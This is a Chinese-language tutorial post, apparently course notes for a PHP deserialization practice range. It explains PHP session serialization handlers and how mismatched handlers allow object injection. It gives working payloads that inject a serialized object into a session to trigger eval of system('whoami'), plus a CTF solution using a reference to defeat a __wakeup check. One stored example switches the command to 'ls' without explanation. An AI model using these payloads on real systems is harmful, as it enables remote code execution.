Web渗透—PHP反序列化????????课程学习分享(课程非本人制作,仅提供学习分享)
靶场下载地址:GitHub - mcc0624/php_ser_Class: php反序列化靶场课程,基于课程制作的靶场
当session_start()被调用或者php.ini中session.auto_start为1时,PHP内部调用会话管理器,访问用户session被序列化以后,存储到指定目录(linux系统默认在?/tmp?目录下,windows系统默认在?C:\Windows\Temp?目录下,可通过查看phpinfo中的session.save_path参数查找保存路径)。
存取数据的格式有多种,常用的有三种
漏洞产生:写入格式和读取格式不一致
处理器 | 对应的储存格式 |
php | 键名+竖线+经过serialize()函数序列化处理的值 |
php_serizlize(php>=5.5.4) | 经过serialize()函数序列化处理的数组 |
php_binary | 键名的长度对应的ASCII字符+键名+经过serialize()函数反序列处理的值 |
默认情况下用php格式储存
php :
<?php
session_start();
$_SESSION[‘benben’]=$_GET[‘ben’];
?>
通过ben参数传入"123456"
benben|s:6:"123456";
php_serialize:
声明session存储格式为php_serialize
<?php
ini_set('session.serialize_handler','php_serialize'); //声明session存储格式为php_serialize
session_start();
$_SESSION['benben']?=?$_GET['ben'];
$_SESSION['b']?=?$_GET['b'];
?>
通过ben和b参数传入 "123456" 和 "666"
a:2:{s:6:"benben";s:6:"123456";s:1:"b";s:3:"666";}???????? //PHP服务版本需在5.5.4以上
php_binary:
声明session存储格式为php_binary
<?php
ini_set('session.serialize_handler','php_binary'); //声明session存储格式为php_binary
session_start();
$_SESSION['benben']?=?$_GET['ben'];
$_SESSION['b']?=?$_GET['b'];
?>
通过ben和b参数传入 "123456" 和 "666"
benbens:6:"123456";bs:3:"666";????????//"benben"前二进制为"06","b"前二进制为"01"
当网站序列化并存储session,与反序列化并读取session的方式不同,就可能导致session反序列化漏洞的产生。
save.php
提交a以php_serialize格式保存
<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['ben']?=?$_GET['a'];
?>
vul.php
<?php?
ini_set('session.serialize_handler','php');
session_start();
class?D{
var?$a;
function?__destruct(){
eval($this->a);
}
}
?>
利用php_serialize存储session格式与php读取session格式的方式不同产生的漏洞执行系统命令
<?php
class?D{
var?$a = "system('whoami');"; //通过system()函数执行系统命令
}
echo serialize(new D());
?>
O:1:"D":1:{s:1:"a";s:17:"system('whoami');";}
1)构造payload:将获得的序列化字符前加”|”传入save.php
|O:1:"D":1:{s:1:"a";s:17:"system('whoami');";}
2)后端将存储为:
a:1:{s:3:"ben";s:42:"|O:1:"D":1:{s:1:"a";s:13:"system('ls');";}";}
?
3.以php格式读取session会把 |?后的值进行反序列化
O:1:"D":1:{s:1:"a";s:13:"system('ls');";}";}
4.此时访问 vul.php?页面,来达到执行命令的效果
index.php
<?php
session_start();
class?Flag{
public?$name;
public?$her;
function?__wakeup(){
$this->her=md5(rand(1,?10000));
if?($this->name===$this->her){
include('flag.php');
echo?$flag;
}
}
}
?>
hint.php
在index.php提示了hint.php页面?
<?php
ini_set('session.serialize_handler',?'php_serialize');
session_start();
$_SESSION['a']?=?$_GET['a'];
?>
此题目中不仅出现了?session反序列化知识点,同时也出现了引用的知识点
<?php
class?Flag{
public?$name;
public?$her;
}
$a = new Flag();
$a->name=&$a->her;
echo serialize($a);
?>
让?$name?的值引用 $her 的值?
O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}
1)构造payload:将获得的序列化字符前加”|”传入hint.php
|O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}
2)后端将存储为:
a:1:{s:1:"a";s:43:"|O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}";}
?
3.以php格式读取session会把 |?后的值进行反序列化
O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}";}
4.此时访问?index.php?页面,反序列化触发__wakeup(),判断$name全等于$her得到flag
?ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}